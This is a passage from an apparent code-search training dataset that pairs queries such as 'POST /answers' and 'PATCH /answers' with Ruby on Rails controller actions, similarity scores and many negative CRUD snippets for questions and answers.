"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end",
"def show\n @question = current_node.questions.find(params[:id])\n @question.viewed!(request.remote_ip)\n @answers = (@question.answers.page params[:page]).order_by(current_order)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def index\n @question_answers = QuestionAnswer.all\n end",
"def show\n if @v1_question\n render json: @v1_question\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end",
"def create\n @v1_answer = current_user.answers.new(v1_answer_params)\n if @v1_answer.save\n render json: @v1_answer, status: :created\n else\n render json: @v1_answer.errors, status: :unprocessable_entity\n end\n end",
"def new\n @answer = @question.answers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"def show\n respond_to do |format|\n format.html {redirect_to root_path}\n format.text {render text: @answer.response}\n end\n end",
"def new\n @textanswer = Textanswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @textanswer }\n end\n end",
"def new\n @user_answer = UserAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_answer }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def with_answers\n @questions = Question.answered\n render(:action => \"index\")\n end",
"def index\n @given_answers = GivenAnswer.all\n end",
"def index\n @my_questions = MyQuestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_questions }\n end\n end"
] |
[
"0.8062779",
"0.75935924",
"0.74273294",
"0.74273294",
"0.74273294",
"0.74273294",
"0.7339199",
"0.72811383",
"0.72811383",
"0.72811383",
"0.7111482",
"0.7105832",
"0.70900667",
"0.70371944",
"0.7034046",
"0.6961521",
"0.68744123",
"0.68739426",
"0.6831872",
"0.68084544",
"0.67975056",
"0.6739879",
"0.6731952",
"0.6731952",
"0.6704215",
"0.6702442",
"0.6702442",
"0.6702442",
"0.6702442",
"0.6702442",
"0.669116",
"0.6661241",
"0.6660893",
"0.66482997",
"0.66431725",
"0.66423273",
"0.662787",
"0.66144556",
"0.6598913",
"0.6583292",
"0.6568393",
"0.65627754",
"0.65581113",
"0.6550479",
"0.65446943",
"0.65364456",
"0.6531481",
"0.6522745",
"0.6518002",
"0.6499834",
"0.64895856",
"0.6482503",
"0.6470541",
"0.6450093",
"0.6447672",
"0.6441491",
"0.6427491",
"0.64268017",
"0.6425617",
"0.6425617",
"0.6424263",
"0.6419045",
"0.6418419",
"0.64176273",
"0.6414125",
"0.64112586",
"0.6398978",
"0.63814104",
"0.6366625",
"0.6348369",
"0.6348078",
"0.63402945",
"0.63012016",
"0.62946844",
"0.6275634",
"0.6273676",
"0.62734866",
"0.62734866",
"0.62734866",
"0.6273065",
"0.62721467",
"0.62719077",
"0.6271356",
"0.6267448",
"0.62529767",
"0.62483466",
"0.62438035",
"0.62432617",
"0.62432617",
"0.6241899",
"0.6236838",
"0.6219324",
"0.62158537",
"0.6205589",
"0.62047833",
"0.62018037",
"0.61941224",
"0.6185867",
"0.61712563",
"0.6170539",
"0.6169547"
] |
0.0
|
-1
|
POST /answers POST /answers.json
|
def create
@replay = Replay.new(replay_params)
respond_to do |format|
if @replay.save
format.html { redirect_to admin_replay_path(@replay), notice: 'Replay was successfully created.' }
format.json { render :show, status: :created, location: @replay }
else
format.html { render :new }
format.json { render json: @replay.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def answers\n request('answers')\n end",
"def add_answer\n request('answers/add')\n end",
"def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to question_answer_url(@question, @answer), notice: \"Answer was successfully created.\" }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_form\n answers_params = params.permit!\n\n render json: Answer.insert_answers(answers_params, current_user[\"id\"])\n end",
"def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = @question.answers.new(answer_params)\n\n if @answer.save\n respond_to_save_success(@answer, [@question, @answer])\n else\n respond_to_save_failure(:new, @answer)\n end\n end",
"def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.build(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @question, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = @question.answers.build(answer_params)\n @answer.save\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end",
"def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html {\n redirect_to questions_url,\n notice: 'Answer submit successful.'\n }\n else\n format.html { render :new }\n format.json {\n render json: @answer.errors,\n status: :unprocessable_entity\n }\n end\n end\n end",
"def create\n\n\t\trespond_to do |format|\n\t\t\tif @answer.save\n\t\t\t\tformat.html { redirect_to @answer, notice: 'Survey was successfully created.' }\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @answer }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'new' }\n\t\t\t\tformat.json { render json: @answer.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @answers = params[:user_answers]\n @answers.each do |key, value|\n UserAnswer.create(:user_id => current_user.id, :survey_question_id => key.to_i, :text => value)\n end\n redirect_to :root\n end",
"def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = Form::Answer.new(answer_params)\n respond_to do |format|\n if @answer.save\n format.html { redirect_to thanks_path, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @answer }\n else\n format.html { render action: 'new' }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = AttemptAnswer.new(answer_params) \n \n if @answer.save\n render json: @answer, status: :created \n else\n head(:unprocessable_entity)\n end\n end",
"def create\n @v1_answer = current_user.answers.new(v1_answer_params)\n if @v1_answer.save\n render json: @v1_answer, status: :created\n else\n render json: @v1_answer.errors, status: :unprocessable_entity\n end\n end",
"def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end",
"def create\n passed = true\n count = 0\n if params[:status] == \"listOfAnswers\"\n params[:answers].each do |ans|\n @answer = Answer.new(answers_params(ans))\n if @answer.save\n if @answer.correct\n count = count + 1\n # update_result ans[:user_id], ans[:quiz_id]\n end\n else\n passed = false\n end\n end\n if passed\n create_result params[:answers].first[:user_id], params[:answers].first[:quiz_id], count\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n else\n @answer = Answer.new(answer_params)\n if @answer.save\n if @answer.correct\n update_result\n end\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end\n end",
"def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end",
"def create\n answer = Answer.new(content: params[:content], upvotes: 0, downvotes:0, user_id: params[:user_id], question_id: params[:question_id])\n \n if answer.save\n render json: {answer: answer, create_time: (answer.created_at.to_f * 1000).to_i, success: true}\n else\n render json: @answer.errors, success: false\n end\n end",
"def create\n @answer_respondent = AnswerRespondent.new(answer_respondent_params)\n\n respond_to do |format|\n if @answer_respondent.save\n format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully created.' }\n format.json { render :show, status: :created, location: @answer_respondent }\n else\n format.html { render :new }\n format.json { render json: @answer_respondent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n\t\tquestionId = params[:questionId]\n\t\tanswerId = params[:answerId]\n\t\tanswer = params[:answer]\n\t\tnumAnswers = params[:numAnswers].to_i\n\n\t\tbegin\n\t\t\tsuccess = ParseManager.createUserAnswer(answer, answerId, questionId)\n\t\t\tnumAnswers -= 1\n\t\tend until numAnswers == 0\n\n\t\trender json:success\n\tend",
"def create\n @answer = Answer.new(answer_params.merge(user_id: current_user.id))\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to question_path(@answer.question) }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @answer = Answer.new\n # @answer.user_id = current_user.もid\n # @answer.question_id = params[:question_id]\n # @answer.content = params[:content]\n # @answer.save\n # 一個保存できれば、何個でも保存できる\n if !params[:answer][:content]\n render json: {errors: \"未入力の項目があります。\"}, status: 422\n\n end\n @answer = current_user.answers.build(answer_params)\n @answer.save\n end",
"def sync_user_answers\n return head :ok if params[:user_answers].blank?\n\n user_exam = current_user.user_exams.find(params[:id])\n user_exam.user_answers.create! user_answers_params\n\n head :ok\n end",
"def create\n @question = Question.find(params[:question_id])\n\n if !@question\n redirect_to :controller => :questions, :action => \"show\", :id => params[:question_id]\n end\n @answer = @question.answers.build(params[:answer])\n @answer.user_id = @current_user.id\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @question, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answered\n @the_question = Question.find(params[:id])\n @the_question.answered = true\n @the_question.save\n render json: [{question: @the_question}]\n end",
"def store_answers\n @user_choice = params[:userChoiceData]\n @user_data = params[:userId]\n is_save = AnswerService.store_answers(@user_choice, @user_data)\n if is_save\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end",
"def create\n @answer = current_user.answers.new(answer_params)\n @answer.question = @question\n @question.update(cant_answers: @question.cant_answers + 1)\n @answer.puntaje = 0\n @answer.best = false;\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer.question, notice: 'Respuesta creada satisfactoriamente' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answer_params\n params.require(:answer).permit(:body, :question_id, :status)\n end",
"def create\n @question = Question.create!(question_params.merge({user_id: 1}))\n if question_params[:answers]\n question_params[:answers].with_indifferent_access.each do |answer|\n Answer.create!(name: answer[:name], question_id: @question.id)\n end\n end\n @question.prepare\n @question.broadcast\n render json: @question, status: :created\n end",
"def create\n @submitted_answer = SubmittedAnswer.new(params[:submitted_answer])\n\n respond_to do |format|\n if @submitted_answer.save\n format.html { redirect_to @submitted_answer, notice: 'Submitted answer was successfully created.' }\n format.json { render json: @submitted_answer, status: :created, location: @submitted_answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @submitted_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_params\n params.require(:answer).permit(:answer)\n end",
"def answer_params\n params.require(:answer).permit(:text, :votes, :question_id)\n end",
"def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end",
"def answer_params\n params.require(:answer).permit(:content, :question_id, :response_id)\n end",
"def answers(options={})\n @answers = self.class.parse_answers(request(singular(question_id) + \"/answers\", options))\n end",
"def answer_params\n params.require(:answer).permit(:body)\n end",
"def create\n @asked_to_answer = AskedToAnswer.new(asked_to_answer_params)\n\n respond_to do |format|\n if @asked_to_answer.save\n format.html { redirect_to @asked_to_answer, notice: 'Asked to answer was successfully created.' }\n format.json { render :show, status: :created, location: @asked_to_answer }\n else\n format.html { render :new }\n format.json { render json: @asked_to_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answers\n @celebrity = Celebrity.find(params[:id])\n @answers = @celebrity.answers\n render json: @answers\n end",
"def answers(options={})\n self.class.parse_answers(request(singular(user_id) + \"/answers\", options))\n end",
"def answer_params\n params.require(:answer).permit(:body, :question_id)\n end",
"def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to(@answer, :notice => 'Answer was successfully created.') }\n format.xml { render :xml => @answer, :status => :created, :location => @answer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to(@answer, :notice => 'Answer was successfully created.') }\n format.xml { render :xml => @answer, :status => :created, :location => @answer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n workout = Workout.find params[:workout_id]\n result = Question.create(workout, { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n @question = result[:question]\n\n respond_to do |format|\n unless @question.persisted?\n format.json { render :json => @question.errors.full_messages, :status => :unprocessable_entity }\n else\n format.json { render :json => @question.as_json({:include => :answers}) }\n end\n \n end\n\n end",
"def create\n @fake_answer = FakeAnswer.new(fake_answer_params)\n @fake_answer.question_id = params[:question_id]\n respond_to do |format|\n if @fake_answer.save\n format.html { redirect_to question_path(params[:quiz_id], params[:question_id]), notice: 'Fake answer was successfully created.' }\n format.json { render :show, status: :created, location: @fake_answer }\n else\n format.html { render :new }\n format.json { render json: @fake_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = current_user.answers.build(params[:answer])\n if @answer.save\n @post = @answer.post\n Notifier.delay.new_answer(@post.user, @answer)\n if @post.user != current_user\n current_user.update_attributes(cred_count: current_user.cred_count + 10)\n end\n return render status: 200, json: { success: true }\n else\n return render :status => :unprocessable_entity,\n :json => { success: false, :error => \"There was a problem posting your advice.\" }\n end\n end",
"def answer\n params[:answers].each do |question_id, value|\n answer = Answer.find_or_initialize_by_question_id_and_user_id(question_id, current_user.id)\n answer.content = value[:content]\n answer.save\n end if params[:answers]\n\n survey = Survey.find(params[:id])\n redirect_to survey.next_url || root_url, :notice => survey.confirmation\n end",
"def answer_params\n # Rails.logger.debug \"Params: #{params.inspect}\"\n params.require(:answers).permit(:answer, :updated_at, :users_id, :questions_id)\n end",
"def answer_params\n params.require(:answer).permit(:answer, :response, :survey_id, :question_id, :response_id, :user_id)\n end",
"def answer_params\n params.require(:answer).permit(:text, :question_id, :correct)\n end",
"def answer_params\n params.require(:answer).permit(:ans, :user_id, :question_id)\n end",
"def create\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n @survey = Survey.new(json)\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @m_answer = @m_question.m_answers.build(m_answer_params)\n respond_to do |format|\n if @m_answer.save\n format.html { redirect_to m_question_path(@m_question) }\n format.json { render action: 'show', status: :created, location: @m_answer }\n else\n format.html { render action: 'new' }\n format.json { render json: @m_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_answers(connection_id, answers)\n connection_id.require!(as: 'connection_id')\n answers.require!(as: 'answers')\n answers.each do |answer|\n answer.require!(:answer, :question)\n end\n\n params = { questions: answers.to_json }\n api(:put, \"/connections/#{connection_id}/challenges\", params)\n .fetch('challenges')\n .cast(Challenge)\n end",
"def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new(params[:answer])\n @answer.user = current_user\n @answer.score = 0\n @answer.fav = 0\n @user = User.find(@question.user_id)\n\n respond_to do |format|\n if @answer.save\n UserMailer.answer_email(@user).deliver\n format.html { redirect_to @question, notice: 'Respuesta creada correctamente.' }\n format.json { render json: @question, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answer_params\n params.require(:answer).permit(:user_id, :question_id, :content, :is_tweet, :is_anonymous)\n end",
"def create\n question_response = QuestionResponse.build_response_essay(current_user, params)\n\n if question_response.try :save\n render json: { message: \"answer saved\" }\n else\n render json: { message: \"error\" }, status: :unprocessable_entity\n end\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def create\n @quizzes_answer = Quizzes::Answer.new(quizzes_answer_params)\n\n respond_to do |format|\n if @quizzes_answer.save\n format.html { redirect_to @quizzes_answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @quizzes_answer }\n else\n format.html { render :new }\n format.json { render json: @quizzes_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n answer = current_user.answers.create!(quiz: @quiz, correctness: (params[:answer].to_i > 0) )\n\n respond_to do |format|\n format.html { redirect_to topic_quiz_path(@quiz, @quiz.topic), notice: 'Your answer is saved.' }\n format.json { render :show, status: :ok, location: topic_quiz_path(@quiz, @quiz.topic) }\n end\n end",
"def answer_params\n params.require(:answer).permit(:content, :user_id, :post_id)\n end",
"def create\n @actual_answer = ActualAnswer.new(actual_answer_params)\n\n respond_to do |format|\n if @actual_answer.save\n format.html { redirect_to @actual_answer, notice: 'Actual answer was successfully created.' }\n format.json { render :show, status: :created, location: @actual_answer }\n else\n format.html { render :new }\n format.json { render json: @actual_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answer_params\n params.require(:answer).permit(:content, :question_id)\n end",
"def create\n\t\t@question = Question.find(params[:question_id])\n\t\t@answer = @question.answers.build(answer_params)\n\t\t@answer.user = current_user\n\t\tif @answer.save\n\t\t\tflash[:success] = \"answer submitted\"\n\t\t\tredirect_to root_url\n\t\telse\n\t\t\tflash[:danger] = \"some error occured\"\n\t\t\trender 'new'\n\t\tend\n \n end",
"def new\n @questions = Question.all\n @question = Question.new\n @answers = @question.answers.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def create\n @user_answer = UserAnswer.new(user_answer_params)\n\n respond_to do |format|\n if @user_answer.save\n format.html { redirect_to @user_answer, notice: 'User answer was successfully created.' }\n format.json { render :show, status: :created, location: @user_answer }\n else\n format.html { render :new }\n format.json { render json: @user_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answer\n @assessment = Assessment.new(assessment_params)\n @assessment.user_id = current_user.id\n if @assessment.save\n @assessment.update_attributes(check_user_answer)\n render json: @assessment.as_json(only: [:question_id, :user_option, :is_correct,:is_skipped]), status: :created\n else\n render json: @assessment.errors, status: :unprocessable_entity\n end\n end",
"def create\n @given_answer = GivenAnswer.new(given_answer_params)\n\n respond_to do |format|\n if @given_answer.save\n format.html { redirect_to @given_answer, notice: 'Given answer was successfully created.' }\n format.json { render :show, status: :created, location: @given_answer }\n else\n format.html { render :new }\n format.json { render json: @given_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_answer = StudentAnswer.new(params[:student_answer])\n\n respond_to do |format|\n if @student_answer.save\n format.html { redirect_to @student_answer, notice: 'Student answer was successfully created.' }\n format.json { render json: @student_answer, status: :created, location: @student_answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answer_params\n params.require(:answer).permit(:question_number, :question_response, :taker_id, :question_id)\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n @answer.create_activity :create, owner: current_user\n flash.now[:notice] = 'Answer was successfully created.'\n format.html { redirect_to @answer }\n format.json { render json: @answer, status: :created, location: @answer }\n format.js { render \"answers/create\", :layout => false }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n format.js do\n render \"answers/create\", :layout => false\n end\n end\n end\n end",
"def new\n @question = Question.find(params[:question_id])\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def answer_params\n params.require(:answer).permit(:body,:anonymous)\n end",
"def index\n @answers = @question.answers\n respond_with( @answers )\n end",
"def answer_params\n params.require(:answer).permit(:text, :color, :score)\n end",
"def create\n @tipo_answer = TipoAnswer.new(tipo_answer_params)\n\n respond_to do |format|\n if @tipo_answer.save\n format.html { redirect_to @tipo_answer, notice: 'Tipo answer was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_answer }\n else\n format.html { render :new }\n format.json { render json: @tipo_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answer_params\n params.require(:answer).permit(:answer, :question_id, :user_id)\n end",
"def create\n @survey_user_answer = SurveyUserAnswer.new(survey_user_answer_params)\n\n respond_to do |format|\n if @survey_user_answer.save\n format.html { redirect_to @survey_user_answer, notice: 'Survey user answer was successfully created.' }\n format.json { render :show, status: :created, location: @survey_user_answer }\n else\n format.html { render :new }\n format.json { render json: @survey_user_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if answer_params['content'].length == 0\n flash[:alert] = \"Nice try, answer can't be blank!!\"\n redirect_to controller: 'questions', action: 'show', id: answer_params['question_id']\n else\n @answer = Answer.new(answer_params)\n respond_to do |format|\n if @answer.save\n flash[:notice] = \"Answer was successfully created!!\"\n format.html { redirect_to controller: 'questions', action: 'show', id: @answer.question_id}\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def create\n @user = User.find(params[:id])\n @user.answer_ids = params[:answers]\n\n unless (StudentsQuiz.find_by(student_id: params[:id], publication_id: params[:quiz][:id]))\n respond_to do |format|\n format.json { render json: { marks: @user.answer_quiz(params[:answers], params[:quiz][:id]), total_marks: Publication.find(params[:quiz][:id]).quiz.marks.to_f } }\n end\n else\n respond_to do |format|\n format.json { render json: { errors: \"You have answered before\" }, status: :unprocessable_entity }\n end\n end\n end",
"def answer_params\n params.require(:answer).permit(:content, :user_id, :question_id)\n end",
"def create\n @client_answer = ClientAnswer.new(params[:client_answer])\n\n respond_to do |format|\n if @client_answer.save\n format.html { redirect_to @client_answer, notice: 'Client answer was successfully created.' }\n format.json { render json: @client_answer, status: :created, location: @client_answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answer_params\n\t params.require(:answer).permit(:title, :description)\n\t end",
"def answer_params\n params.require(:answer).permit(:content, :user_id, :rating_id, :question_id)\n end",
"def new\n @submitted_answer = SubmittedAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def index\n\n @answers = Answer.current\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end"
] |
[
"0.7286637",
"0.7276844",
"0.7215924",
"0.71726644",
"0.70686775",
"0.70686775",
"0.7066745",
"0.7054315",
"0.7052485",
"0.70434344",
"0.7039424",
"0.69998896",
"0.69970363",
"0.69970363",
"0.6957991",
"0.69262266",
"0.6923806",
"0.69230163",
"0.6912971",
"0.6891326",
"0.68432283",
"0.6788679",
"0.6766081",
"0.6762065",
"0.67354363",
"0.6733844",
"0.671813",
"0.67026454",
"0.6700926",
"0.66695744",
"0.66548085",
"0.66460985",
"0.6604524",
"0.6587158",
"0.65837383",
"0.6570017",
"0.6567144",
"0.65547",
"0.6549258",
"0.6541254",
"0.65394133",
"0.6517812",
"0.6511508",
"0.6509887",
"0.6498351",
"0.6498351",
"0.6487632",
"0.64839697",
"0.6482114",
"0.64744544",
"0.6463594",
"0.64631844",
"0.64548355",
"0.6454749",
"0.6437551",
"0.64334387",
"0.64147663",
"0.6406218",
"0.64059174",
"0.640018",
"0.639407",
"0.639407",
"0.63882315",
"0.63626564",
"0.6362456",
"0.63486713",
"0.63434505",
"0.633798",
"0.6336092",
"0.63348424",
"0.63307786",
"0.6327482",
"0.63258374",
"0.6318874",
"0.6312871",
"0.6312871",
"0.6312871",
"0.6312871",
"0.63123477",
"0.63123477",
"0.63123477",
"0.63123477",
"0.63123477",
"0.63002235",
"0.6297716",
"0.6287522",
"0.6281891",
"0.6279979",
"0.6274723",
"0.6264448",
"0.6262777",
"0.626217",
"0.6260645",
"0.6260645",
"0.62603396",
"0.625427",
"0.62485933",
"0.6248066",
"0.62422156",
"0.6240893",
"0.62394273"
] |
0.0
|
-1
|
PATCH/PUT /answers/1 PATCH/PUT /answers/1.json
|
def update
respond_to do |format|
if @replay.update(replay_params)
format.html { redirect_to admin_replay_path(@replay), notice: 'Replay was successfully updated.' }
format.json { render :show, status: :ok, location: @replay }
else
format.html { render :edit }
format.json { render json: @replay.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @question = Question.update(params[:id], { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n respond_to do |format|\n format.json { render :json => @question.as_json({:include => :answers}) }\n\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render :action => \"edit\" }\n # format.json { render :json => @question.errors, :status => :unprocessable_entity }\n # end\n end\n end",
"def update\n @answer = current_user.answers.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.json { head :no_content }\n else\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n if @answer.update(answer_params)\n head :no_content\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @answer.update(answer_params)\n\t\t\t\tformat.html { redirect_to @answer, notice: 'Survey was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @answer.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
